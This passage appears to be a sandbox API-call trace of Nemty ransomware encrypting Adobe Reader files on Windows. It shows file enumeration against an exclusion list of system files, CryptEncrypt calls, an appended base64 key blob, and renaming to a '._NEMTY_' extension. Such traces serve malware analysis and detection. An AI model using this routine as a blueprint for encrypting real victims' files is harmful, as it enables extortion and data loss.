lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0170.696] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.CAT", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.CAT", lpUsedDefaultChar=0x0) returned 11 [0170.696] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0170.696] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.CAT", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0170.696] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.CAT", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.CAT", lpUsedDefaultChar=0x0) returned 11 [0170.696] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0170.696] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.696] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.696] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.CAT", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0170.696] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.CAT", cchWideChar=11, lpMultiByteStr=0x653ec20, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.CAT", lpUsedDefaultChar=0x0) returned 11 [0170.697] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.697] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.697] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.CAT", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0170.697] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.CAT", cchWideChar=11, lpMultiByteStr=0x653ec58, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.CAT", lpUsedDefaultChar=0x0) returned 11 [0170.697] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.697] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0170.697] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0170.697] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0170.697] Sleep (dwMilliseconds=0x5) [0170.708] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x1965ab50, dwHighDateTime=0x1d561e8)) [0170.709] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x1965ab50, dwHighDateTime=0x1d561e8)) [0170.709] GetLastError () returned 0xb7 [0170.709] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0170.709] GetLastError () returned 0xb7 [0170.709] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.709] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0170.709] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0170.709] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0170.709] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0170.709] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0170.709] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x4f94288 [0170.709] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x4f94288, pcchString=0x653e91c | out: pszString="nIhUfNLROopR6ifMEqBV4K+7DZfVtRDt/5UJuCjb9tqUIlg7aHZTsRTVRQRv4dHq\r\nKqcbJAvF6fawiZlOUWcKJXL+HpaojCWg6BLxrIYVLmeM3HsbWke7Vl9akBx+91TN\r\nQt7hKhr9UxT/VKbAK9PG87E3+Yl2NVDfu4f8DzTzHVEG7Sz9Ka/KMSnl1SC0G3Vi\r\n8LvaqxYcq2bHav3xazwNi989Mcx5rapUyVbnxPyKntuT8zzGwbdxcNdr5LkVEo5Z\r\nn4oIauA13RI/XP+IMjbKrqt7YC9hYwnDCSiapZZRDF+IkzTPHpgYZtiqiBzGf+GM\r\ngT9AXbRoZQG9kOOKp7UyZw==\r\n", pcchString=0x653e91c) returned 1 [0170.709] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0170.709] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0170.709] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0170.709] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0170.709] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x4f94288 [0170.709] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0170.709] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.cat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0170.710] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=7680) returned 1 [0170.710] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x1e00) returned 0x6352c48 [0170.710] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.710] ReadFile (in: hFile=0x254, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x1e00, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653eb64*=0x1e00, lpOverlapped=0x0) returned 1 [0170.712] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.713] WriteFile (in: hFile=0x254, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x1e00, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653eb5c*=0x1e00, lpOverlapped=0x0) returned 1 [0170.713] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0170.713] SetFilePointer (in: hFile=0x254, lDistanceToMove=7680, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1e00 [0170.713] WriteFile (in: hFile=0x254, lpBuffer=0x4f94288*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x4f94288*, lpNumberOfBytesWritten=0x653eb5c*=0x167, lpOverlapped=0x0) returned 1 [0170.713] CloseHandle (hObject=0x254) returned 1 [0170.713] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0170.713] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0170.713] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0170.713] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0170.713] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0170.713] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0170.713] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0170.713] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0170.713] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0170.713] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0170.713] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.cat"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.CAT._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.cat._nemty_kgobjgd_")) returned 1 [0170.714] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0170.714] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0170.714] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0170.714] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0170.714] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0170.714] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0170.714] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.714] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0170.714] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d87a080, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="nppdf32.CHS", cAlternateFileName="")) returned 1 [0170.714] lstrcmpiW (lpString1="nppdf32.CHS", lpString2=".") returned 1 [0170.714] lstrcmpiW (lpString1="nppdf32.CHS", lpString2="..") returned 1 [0170.714] lstrcmpiW (lpString1="nppdf32.CHS", lpString2="...") returned 1 [0170.714] lstrcmpiW (lpString1="nppdf32.CHS", lpString2="windows") returned -1 [0170.714] lstrcmpiW (lpString1="nppdf32.CHS", lpString2="$RECYCLE.BIN") returned 1 [0170.714] lstrcmpiW (lpString1="nppdf32.CHS", lpString2="rsa") returned -1 [0170.714] lstrcmpiW (lpString1="nppdf32.CHS", lpString2="NTDETECT.COM") returned -1 [0170.714] lstrcmpiW (lpString1="nppdf32.CHS", lpString2="ntldr") returned -1 [0170.714] lstrcmpiW (lpString1="nppdf32.CHS", lpString2="MSDOS.SYS") returned 1 [0170.714] lstrcmpiW (lpString1="nppdf32.CHS", lpString2="IO.SYS") returned 1 [0170.714] lstrcmpiW (lpString1="nppdf32.CHS", lpString2="boot.ini") returned 1 [0170.714] lstrcmpiW (lpString1="nppdf32.CHS", lpString2="boot.ini") returned 1 [0170.714] lstrcmpiW (lpString1="nppdf32.CHS", lpString2="AUTOEXEC.BAT") returned 1 [0170.714] lstrcmpiW (lpString1="nppdf32.CHS", lpString2="ntuser.dat") returned -1 [0170.714] lstrcmpiW (lpString1="nppdf32.CHS", lpString2="desktop.ini") returned 1 [0170.714] lstrcmpiW (lpString1="nppdf32.CHS", lpString2="CONFIG.SYS") returned 1 [0170.714] lstrcmpiW (lpString1="nppdf32.CHS", lpString2="RECYCLER") returned -1 [0170.714] lstrcmpiW (lpString1="nppdf32.CHS", lpString2="BOOTSECT.BAK") returned 1 [0170.714] lstrcmpiW (lpString1="nppdf32.CHS", lpString2="bootmgr") returned 1 [0170.714] lstrcmpiW (lpString1="nppdf32.CHS", lpString2="programdata") returned -1 [0170.714] lstrcmpiW (lpString1="nppdf32.CHS", lpString2="appdata") returned 1 [0170.714] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.714] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.CHS", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0170.714] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.CHS", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.CHS", lpUsedDefaultChar=0x0) returned 11 [0170.715] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0170.715] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.CHS", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0170.715] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.CHS", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.CHS", lpUsedDefaultChar=0x0) returned 11 [0170.715] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0170.715] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.715] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.715] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.CHS", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0170.715] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.CHS", cchWideChar=11, lpMultiByteStr=0x653ec20, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.CHS", lpUsedDefaultChar=0x0) returned 11 [0170.715] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.715] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.715] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.CHS", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0170.715] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.CHS", cchWideChar=11, lpMultiByteStr=0x653ec58, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.CHS", lpUsedDefaultChar=0x0) returned 11 [0170.715] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.715] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0170.715] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0170.715] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0170.715] Sleep (dwMilliseconds=0x5) [0170.724] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x19680cb0, dwHighDateTime=0x1d561e8)) [0170.724] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x19680cb0, dwHighDateTime=0x1d561e8)) [0170.724] GetLastError () returned 0x0 [0170.724] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0170.724] GetLastError () returned 0x0 [0170.724] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.724] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0170.724] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0170.724] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0170.724] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0170.725] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0170.725] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x4f94288 [0170.725] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x4f94288, pcchString=0x653e91c | out: pszString="UwyXJm+MnWUYZdaj5+LvJKcVgkfWurt8iMLgm9YyXh/gMG3qmNJwvOmXALcq9NiI\r\nWaeFvlhQM6YcGt0P0SDFNx2UsfX2t5wr+ipyWWnEcISLoXxNwoIS+IqxRtcJ0uu4\r\n5B/N4yoO3iT3gZcGslNV0aV6ZI3ZrBqzxpUKUuaRU14ekSMpOTiz1+3vUUhp+sST\r\njSs79CC7mmb4qYQkTUoeBG96a6cF0wfkbHk2ObAJiXT1iL0UzdP6M+2TOE/Osw6k\r\nS7xQZdRy5C/3X9DZLr26mJi67RWYLPqbhksby/1iC0NxdyRCawQPQMiXyFUUAYVd\r\nObZrq1ZmJy0kRr4rIfNaYQ==\r\n", pcchString=0x653e91c) returned 1 [0170.725] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0170.725] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0170.725] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0170.725] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0170.725] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x4f94288 [0170.725] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0170.725] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.CHS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.chs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0170.726] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=7680) returned 1 [0170.726] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x1e00) returned 0x6352c48 [0170.726] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.726] ReadFile (in: hFile=0x254, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x1e00, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653eb64*=0x1e00, lpOverlapped=0x0) returned 1 [0170.728] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.728] WriteFile (in: hFile=0x254, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x1e00, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653eb5c*=0x1e00, lpOverlapped=0x0) returned 1 [0170.728] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0170.728] SetFilePointer (in: hFile=0x254, lDistanceToMove=7680, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1e00 [0170.728] WriteFile (in: hFile=0x254, lpBuffer=0x4f94288*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x4f94288*, lpNumberOfBytesWritten=0x653eb5c*=0x167, lpOverlapped=0x0) returned 1 [0170.728] CloseHandle (hObject=0x254) returned 1 [0170.728] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0170.728] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0170.728] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0170.728] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0170.728] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0170.728] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0170.728] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0170.728] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0170.728] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0170.728] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0170.728] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.CHS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.chs"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.CHS._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.chs._nemty_kgobjgd_")) returned 1 [0170.729] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0170.729] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0170.729] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0170.729] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0170.729] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0170.729] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0170.729] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.729] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0170.729] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d8a01e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="nppdf32.CHT", cAlternateFileName="")) returned 1 [0170.729] lstrcmpiW (lpString1="nppdf32.CHT", lpString2=".") returned 1 [0170.729] lstrcmpiW (lpString1="nppdf32.CHT", lpString2="..") returned 1 [0170.729] lstrcmpiW (lpString1="nppdf32.CHT", lpString2="...") returned 1 [0170.729] lstrcmpiW (lpString1="nppdf32.CHT", lpString2="windows") returned -1 [0170.729] lstrcmpiW (lpString1="nppdf32.CHT", lpString2="$RECYCLE.BIN") returned 1 [0170.729] lstrcmpiW (lpString1="nppdf32.CHT", lpString2="rsa") returned -1 [0170.729] lstrcmpiW (lpString1="nppdf32.CHT", lpString2="NTDETECT.COM") returned -1 [0170.729] lstrcmpiW (lpString1="nppdf32.CHT", lpString2="ntldr") returned -1 [0170.729] lstrcmpiW (lpString1="nppdf32.CHT", lpString2="MSDOS.SYS") returned 1 [0170.729] lstrcmpiW (lpString1="nppdf32.CHT", lpString2="IO.SYS") returned 1 [0170.729] lstrcmpiW (lpString1="nppdf32.CHT", lpString2="boot.ini") returned 1 [0170.729] lstrcmpiW (lpString1="nppdf32.CHT", lpString2="boot.ini") returned 1 [0170.729] lstrcmpiW (lpString1="nppdf32.CHT", 